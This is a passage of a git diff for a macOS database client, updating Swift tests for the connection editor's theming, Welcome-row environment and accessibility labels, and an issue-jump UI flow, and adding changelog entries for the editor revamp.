NSTextView) { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .mysql, parsedURL: nil)) let window = ThemeTestFixture.host( - StartupCommandsEditor(text: .constant("SET time_zone = 'UTC'"), style: style), - size: NSSize(width: 360, height: 80) + EditorCodeEditor(text: .constant("SET time_zone = 'UTC'"), language: language, row: .builtIn(row), store: store), + size: NSSize(width: 360, height: 140) ) - return (window, try #require(ThemeTestFixture.textViews(in: window).first)) + return (fixture, window, try #require(ThemeTestFixture.textViews(in: window).first)) } @Test("Startup Commands and Pre-Connect Script follow the editor theme") func startupCommandsFollowTheTheme() throws { try ThemeTestFixture.adopting(.builtIn, appearance: .light) { - let (window, textView) = try startupEditor(.code) - #expect(textView.backgroundColor === NSColor.textBackgroundColor) - #expect(textView.enclosingScrollView?.borderType == .bezelBorder) + let fields: [(EditorCodeLanguage, BuiltInRow)] = [(.sql, .startupCommands), (.shell, .preConnectScript)] + for (language, row) in fields { + let (fixture, window, textView) = try connectionEditorField(language, row: row) + #expect(textView.backgroundColor === NSColor.textBackgroundColor) + #expect(textView.enclosingScrollView?.borderType == .noBorder) - try ThemeTestFixture.withEverySlotOverridden { - #expect(ThemeTestFixture.hex(textView.backgroundColor) == "#FF00FF") - #expect(ThemeTestFixture.hex(textView.textColor) == "#FF00FF") - } + try ThemeTestFixture.withEverySlotOverridden { + #expect(ThemeTestFixture.hex(textView.backgroundColor) == "#FF00FF") + #expect(ThemeTestFixture.hex(textView.textColor) == "#FF00FF") + } - #expect(textView.backgroundColor == NSColor.textBackgroundColor) - withExtendedLifetime(window) {} + #expect(textView.backgroundColor == NSColor.textBackgroundColor) + withExtendedLifetime((fixture, window)) {} + } } } @Test("AI Rules is prose and keeps the system text colors under any theme") func aiRulesStaysPlain() throws { try ThemeTestFixture.adopting(.builtIn, appearance: .light) { - let (window, textView) = try startupEditor(.plain) + let (fixture, window, textView) = try connectionEditorField(.plain, row: .aiRules) try ThemeTestFixture.withEverySlotOverridden { #expect(textView.backgroundColor === NSColor.textBackgroundColor) #expect(textView.textColor === NSColor.textColor) } - withExtendedLifetime(window) {} + withExtendedLifetime((fixture, window)) {} } } diff --git a/apple/TableProTests/Views/Welcome/WelcomeRowPresentationTests.swift b/apple/TableProTests/Views/Welcome/WelcomeRowPresentationTests.swift index 485e3c5f9b..c027a348bb 100644 --- a/apple/TableProTests/Views/Welcome/WelcomeRowPresentationTests.swift +++ b/apple/TableProTests/Views/Welcome/WelcomeRowPresentationTests.swift @@ -104,7 +104,7 @@ struct WelcomeRowPresentationTests { return connection } - private func shared(iconName: String?) -> LinkedConnection { + private func shared(iconName: String?, additionalFields: [String: String]? = nil) -> LinkedConnection { let exportable = ExportableConnection( name: "Shared", host: "db.acme.io", @@ -119,7 +119,7 @@ struct WelcomeRowPresentationTests { sshProfileId: nil, safeModeLevel: nil, aiPolicy: nil, - additionalFields: nil, + additionalFields: additionalFields, redisDatabase: nil, startupCommands: nil, localOnly: nil @@ -158,8 +158,7 @@ struct WelcomeRowPresentationTests { #expect(unknown.iconName == Self.undrawableIcon) } - /// The tile draws `LibraryGlyph.connectionImage`, which takes the engine's glyph whenever this - /// resolves to nil. A name kept from a newer release must not draw an empty tile. + // The tile takes the engine's glyph whenever this is nil, so a name from a newer release never draws an empty tile. @Test("A tile falls back to the engine for no icon or one this Mac cannot draw") func tileFallsBackToEngine() { #expect(LibraryGlyph.customSymbol(nil) == nil) @@ -196,7 +195,7 @@ struct WelcomeRowPresentationTests { #expect(row.groupLabel?.symbolName == LibraryGlyph.groupSymbol(Self.customIcon)) } - /// A custom icon replaces the engine logo, so the tooltip is where the engine stays visible. + // A custom icon replaces the engine logo, so the tooltip is where the engine stays visible. @Test("The tooltip names the engine, for a saved and for a shared connection") func tooltipNamesEngine() { let saved = WelcomeRowPresentation.tooltip( @@ -228,8 +227,7 @@ struct WelcomeRowPresentationTests { #expect(engine.isTemplate) } - /// CockroachDB's logo is a 2500pt artboard. The rename field's image view is constrained in width - /// only, so an unfitted logo would take that as its height and spill over the rows around it. + // CockroachDB's logo is a 2500pt artboard, which the width-only rename image view would take as its height. @Test("An engine logo in the rename field fits the glyph's 16pt box") func renameGlyphFitsTheField() throws { let side = WelcomeRowPresentation.renameGlyphSide @@ -239,4 +237,106 @@ struct WelcomeRowPresentationTests { #expect(glyph.size.width > 0 && glyph.size.height > 0, "\(type.rawValue)") } } + + // MARK: - Environment + + private func withEnvironment(_ environment: ConnectionEnvironment) -> DatabaseConnection { + var connection = makeConnection(iconName: nil) + connection.additionalFields[ConnectionEnvironment.fieldKey] = environment.rawValue + return connection + } + + private func savedRow(_ connection: DatabaseConnection) -> WelcomeConnectionRowModel { + WelcomeRowPresentation.savedConnection( + connection, section: .connections, tags: [], group: nil, groupPath: [], isDriverRejected: false + ) + } + + private func row(status: ConnectionDisplayStatus) -> WelcomeConnectionRowModel { + WelcomeConnectionRowModel( + id: UUID(), + name: "Prod", + detail: "db.acme.io/app", + type: .postgresql, + iconName: nil, + identityColor: nil, + environment: .production, + tags: [], + hiddenTagCount: 0, + groupLabel: nil, + isLocalOnly: false, + isDriverRejected: false, + tooltip: "", + status: status + ) + } + + @Test("A saved row carries its environment, and a connection without one shows none") + func savedRowCarriesEnvironment() { + #expect(savedRow(withEnvironment(.production)).environment == .production) + #expect(savedRow(withEnvironment(.local)).environment == .local) + #expect(savedRow(makeConnection(iconName: nil)).environment == .none) + } + + @Test("A linked row reads the environment from its file") + func sharedRowCarriesEnvironment() { + let staging = shared(iconName: nil, additionalFields: [ConnectionEnvironment.fieldKey: "staging"]) + let plain = shared(iconName: nil) + + #expect(WelcomeRowPresentation.sharedConnection(staging, section: .linkedFolders).environment == .staging) + #expect(WelcomeRowPresentation.sharedConnection(plain, section: .linkedFolders).environment == .none) + } + + @Test("VoiceOver reads the environment with the name and the engine, and nothing for none") + func accessibilityLabelNamesEnvironment() { + #expect(savedRow(withEnvironment(.production)).accessibilityLabel == "Prod, PostgreSQL, Production environment") + #expect(savedRow(withEnvironment(.development)).accessibilityLabel == "Prod, PostgreSQL, Development environment") + #expect(savedRow(makeConnection(iconName: nil)).accessibilityLabel == "Prod, PostgreSQL") + } + + @Test("The accessibility value keeps what the row shows: flags, endpoint, group and tags") + func accessibilityValueKeepsRowContent() { + let group = ConnectionGroup(name: "Acme") + var connection = DatabaseConnection(name: "Prod", host: "db.acme.io", database: "app", type: .postgresql) + connection.localOnly = true + connection.groupId = group.id + let model = WelcomeRowPresentation.savedConnection( + connection, + section: .favorites, + tags: [tag("api"), tag("eu"), tag("billing")], + group: group, + groupPath: ["Acme"], + isDriverRejected: true + ) + + #expect(model.accessibilityValue.components(separatedBy: ", ") + == ["Plugin not loaded", "Local only", model.detail, "Acme", "api", "eu", "+1"]) + } + + @Test("A row reads its status only while it shows a mark") + func accessibilityValueReadsVisibleStatus() { + #expect(row(status: .connecting).accessibilityValue == "Connecting, db.acme.io/app") + #expect(row(status: .failed(cause: nil)).accessibilityValue == "Couldn't connect, db.acme.io/app") + #expect(row(status: .connected).accessibilityValue == "db.acme.io/app") + #expect(row(status: .notConnected).accessibilityValue == "db.acme.io/app") + } + + @Test("A connection named after its address shows the address once") + func addressNamedRowShowsItOnce() { + var unnamed = DatabaseConnection(name: "", host: "db.example.com", database: "app", type: .postgresql) + unnamed.name = unnamed.connectionSubtitle + let named = DatabaseConnection(name: "Prod", host: "db.example.com", database: "app", type: .postgresql) + + let unnamedModel = WelcomeRowPresentation.savedConnection( + unnamed, section: .connections, tags: [], group: nil, groupPath: [], isDriverRejected: false + ) + let namedModel = WelcomeRowPresentation.savedConnection( + named, section: .connections, tags: [], group: nil, groupPath: [], isDriverRejected: false + ) + + #expect(unnamedModel.detail.isEmpty) + #expect(!unnamedModel.hasSecondLine) + #expect(namedModel.detail == named.connectionSubtitle) + #expect(namedModel.hasSecondLine) + } } diff --git a/apple/TableProUITests/ConnectionEditorIssueJumpUITests.swift b/apple/TableProUITests/ConnectionEditorIssueJumpUITests.swift new file mode 100644 index 0000000000..13bea5cf4c --- /dev/null +++ b/apple/TableProUITests/ConnectionEditorIssueJumpUITests.swift @@ -0,0 +1,78 @@ +import XCTest + +final class ConnectionEditorIssueJumpUITests: UITestCase { + func testTheCommitBarJumpsToAnIssueOnAnotherFacetAndSaveListsTheConnection() throws { + let name = "Tunnel Flow" + let app = try launchApp() + let welcome = welcomeWindow(in: app) + XCTAssertTrue(welcome.waitToExist(timeout: 10)) + + app.typeShortcut(.newConnection) + let chooser = welcome.sheets.firstMatch + let search = chooser.searchFields["database-type-chooser-search"] + XCTAssertTrue(waitUntilHittable(search, timeout: 10), "New Connection must present the database chooser") + search.click() + search.typeText("PostgreSQL") + let proceed = chooser.buttons["Continue"] + XCTAssertTrue( + waitForPredicate(timeout: 10) { proceed.exists && proceed.isEnabled }, + "An exact type name must arm Continue" + ) + proceed.click() + + let editor = window("connection-form", in: app) + XCTAssertTrue(editor.waitToExist(timeout: 10), "Choosing PostgreSQL must open the connection editor") + replaceText(in: editor.textFields["connection-form-name"], with: name) + + showFacet("sshAndProxies", in: editor) + let transport = editor.popUpButtons["connection-form-transport"] + XCTAssertTrue(waitUntilHittable(transport, timeout: 10), "SSH & Proxies must offer the transport picker") + transport.click() + let sshTunnel = transport.menuItems["SSH Tunnel"] + XCTAssertTrue(sshTunnel.waitToExist(timeout: 5), "PostgreSQL must offer an SSH tunnel") + sshTunnel.click() + let sshHost = editor.textFields["connection-form-ssh-host"] + XCTAssertTrue(sshHost.waitToExist(timeout: 10), "SSH Tunnel must show the SSH server rows") + + showFacet("general", in: editor) + XCTAssertTrue(waitForPredicate(timeout: 10) { !sshHost.exists }, "General must replace the SSH rows") + + let save = editor.buttons["connection-form-save"] + let issue = editor.descendants(matching: .any)["connection-form-validation"] + XCTAssertTrue(waitUntilHittable(issue, timeout: 10), "The commit bar must show the issue that blocks Save") + XCTAssertFalse(save.isEnabled, "An SSH tunnel with no host must block Save") + issue.click() + + XCTAssertTrue(waitUntilHittable(sshHost, timeout: 10), "The issue must open the facet that holds it") + XCTAssertTrue( + waitForPredicate(timeout: 5) { self.holdsKeyboardFocus(sshHost) }, + "The issue must put the keyboard in the field to fix" + ) + sshHost.typeText("bastion.example.com") + + XCTAssertTrue(waitForPredicate(timeout: 10) { save.isEnabled }, "A host must clear the issue and arm Save") + XCTAssertFalse(issue.exists, "No issue is left to show") + save.click() + + XCTAssertTrue(waitForPredicate(timeout: 10) { !editor.exists }, "Save must close the editor") + let list = welcomeConnectionList(in: welcome) + XCTAssertTrue( + welcomeConnectionRow(named: name, in: list).waitToExist(timeout: 10), + "The saved connection must be listed in Welcome" + ) + } + + // The table publishes its own cell element, so the row's label carries the facet's identifier. + private func showFacet(_ facet: String, in editor: XCUIElement) { + let row = editor.staticTexts["connection-editor-sidebar-\(facet)"] + XCTAssertTrue(waitUntilHittable(row, timeout: 10), "The sidebar must list \(facet)") + row.click() + } + + private func replaceText(in field: XCUIElement, with text: String) { + XCTAssertTrue(waitUntilHittable(field, timeout: 10)) + field.click() + field.typeKey("a", modifierFlags: .command) + field.typeText(text) + } +} diff --git a/apple/TableProUITests/ConnectionFormDisclosureUITests.swift b/apple/TableProUITests/ConnectionFormDisclosureUITests.swift deleted file mode 100644 index f96b4a2785..0000000000 --- a/apple/TableProUITests/ConnectionFormDisclosureUITests.swift +++ /dev/null @@ -1,38 +0,0 @@ -import XCTest - -final class ConnectionFormDisclosureUITests: UITestCase { - /// The connection editor is one scrolling form, and its rarely-set options stay behind a - /// disclosure so a plain connection is not a wall of controls. - /// - /// The revealed controls render at the end of the scrolling form where the grouped `Form` - /// virtualizes them off the fold, so XCUITest cannot read them, and a SwiftUI button does not - /// surface `accessibilityValue` through `XCUIElement.value`. This asserts the two facts the - /// accessibility tree does expose: the options are collapsed by default and the disclosure that - /// gates them is present and usable. The reveal itself is covered by the revamp PR's screenshots. - func testAdvancedOptionsStartCollapsedBehindADisclosure() throws { - let app = try launchApp() - let welcome = welcomeWindow(in: app) - XCTAssertTrue(welcome.waitToExist(timeout: 10)) - - app.typeShortcut(.newConnection) - let chooser = welcome.sheets.firstMatch - let search = chooser.searchFields["database-type-chooser-search"] - XCTAssertTrue(waitUntilHittable(search, timeout: 10), "New Connection must present the database chooser") - search.click() - search.typeText("SQLite") - let proceed = chooser.buttons["Continue"] - XCTAssertTrue(waitForPredicate(timeout: 10) { proceed.exists && proceed.isEnabled }) - proceed.click() - - let form = window("connection-form", in: app) - XCTAssertTrue(form.waitToExist(timeout: 10), "Choosing SQLite must open the connection form") - let name = form.textFields["connection-form-name"] - XCTAssertTrue(waitUntilHittable(name, timeout: 10), "The form opens on a single scrolling layout with a Name field") - - let connectTimeout = form.textFields["connection-form-connect-timeout"] - XCTAssertFalse(connectTimeout.exists, "Advanced options are collapsed by default") - - let disclosure = form.descendants(matching: .any)["connection-form-advanced-disclosure"] - XCTAssertTrue(waitUntilHittable(disclosure, timeout: 10), "The form shows an Advanced Options disclosure") - } -} diff --git a/apple/TableProUITests/NewConnectionCommandUITests.swift b/apple/TableProUITests/NewConnectionCommandUITests.swift index 374578d150..d07a5dc126 100644 --- a/apple/TableProUITests/NewConnectionCommandUITests.swift +++ b/apple/TableProUITests/NewConnectionCommandUITests.swift @@ -61,7 +61,7 @@ final class NewConnectionCommandUITests: UITestCase { "New… only names the file; nothing is written before the connection opens" ) - let connect = form.buttons["Save & Connect"] + let connect = form.buttons["connection-form-save-connect"] XCTAssertTrue( waitForPredicate(timeout: 10) { connect.exists && connect.isEnabled }, "A named connection with a file path must be ready to connect" diff --git a/apple/changelog.d/4417.added.1.md b/apple/changelog.d/4417.added.1.md new file mode 100644 index 0000000000..a513727025 --- /dev/null +++ b/apple/changelog.d/4417.added.1.md @@ -0,0 +1 @@ +Copy a connection as a URL, without its passwords, from the connection editor. diff --git a/apple/changelog.d/4417.added.2.md b/apple/changelog.d/4417.added.2.md new file mode 100644 index 0000000000..70d46e4978 --- /dev/null +++ b/apple/changelog.d/4417.added.2.md @@ -0,0 +1 @@ +Test Connection shows the server version and time, and names the step that failed. diff --git a/apple/changelog.d/4417.added.3.md b/apple/changelog.d/4417.added.3.md new file mode 100644 index 0000000000..5eeaf6f400 --- /dev/null +++ b/apple/changelog.d/4417.added.3.md @@ -0,0 +1 @@ +Closing or quitting with unsaved connection edits asks whether to save them. diff --git a/apple/changelog.d/4417.added.md b/apple/changelog.d/4417.added.md new file mode 100644 index 0000000000..41291b9b8d --- /dev/null +++ b/apple/changelog.d/4417.added.md @@ -0,0 +1 @@ +Paste a connection URL into Host to fill the connection editor. diff --git a/apple/changelog.d/4417.changed.1.md b/apple/changelog.d/4417.changed.1.md new file mode 100644 index 0000000000..e96a5b6797 --- /dev/null +++ b/apple/changelog.d/4417.changed.1.md @@ -0,0 +1 @@ +Environment shows on Welcome rows and in the connection switcher, and Production defaults Safe Mode to Alert. diff --git a/apple/changelog.d/4417.changed.md b/apple/changelog.d/4417.changed.md new file mode 100644 index 0000000000..5941850e38 --- /dev/null +++ b/apple/changelog.d/4417.changed.md @@ -0,0 +1 @@ +The connection editor is a window with a sidebar of sections, and New Connection asks for the database type first. diff --git a/apple/changelog.d/4417.fixed.1.md b/apple/changelog.d/4417.fixed.1.md new file mode 100644 index 0000000000..1d31b69cff --- /dev/null +++ b/apple/changelog.d/4417.fixed.1.md @@ -0,0 +1 @@ +Test Connection kept showing Connected after the host or password changed. diff --git a/apple/changelog.d/4417.fixed.2.md b/apple/changelog.d/4417.fixed.2.md new file mode 100644 index 0000000000..713fb7997f --- /dev/null +++ b/apple/changelog.d/4417.fixed.2.md @@ -0,0 +1 @@ +A connection's secrets could be deleted when its SSH or credential profile changed while the editor was open. diff --git a/apple/changelog.d/4417.fixed.3.md b/apple/changelog.d/4417.fixed.3.md new file mode 100644 index 0000000000..7f95042921 --- /dev/null +++ b/apple/changelog.d/4417.fixed.3.md @@ -0,0 +1 @@ +Save stayed disabled by a field that was not on screen. diff --git a/apple/changelog.d/4417.fixed.4.md b/apple/changelog.d/4417.fixed.4.md new file mode 100644 index 0000000000..95d3fb440d --- /dev/null +++ b/apple/changelog.d/4417.fixed.4.md @@ -0,0 +1 @@ +Port fields accepted 0, 99999 or a port with spaces. diff --git a/apple/changelog.d/4417.fixed.5.md b/apple/changelog.d/4417.fixed.5.md new file mode 100644 index 0000000000..777794034e --- /dev/null +++ b/apple/changelog.d/4417.fixed.5.md @@ -0,0 +1 @@ +The file panel froze the app while browsing the Documents folder. diff --git a/apple/changelog.d/4417.fixed.md b/apple/changelog.d/4417.fixed.md new file mode 100644 index 0000000000..7c8de8a39a --- /dev/null +++ b/apple/changelog.d/4417.fixed.md @@ -0,0 +1 @@ +Saving a connection reverted a rename, group move or Safe Mode change made elsewhere while the editor was open.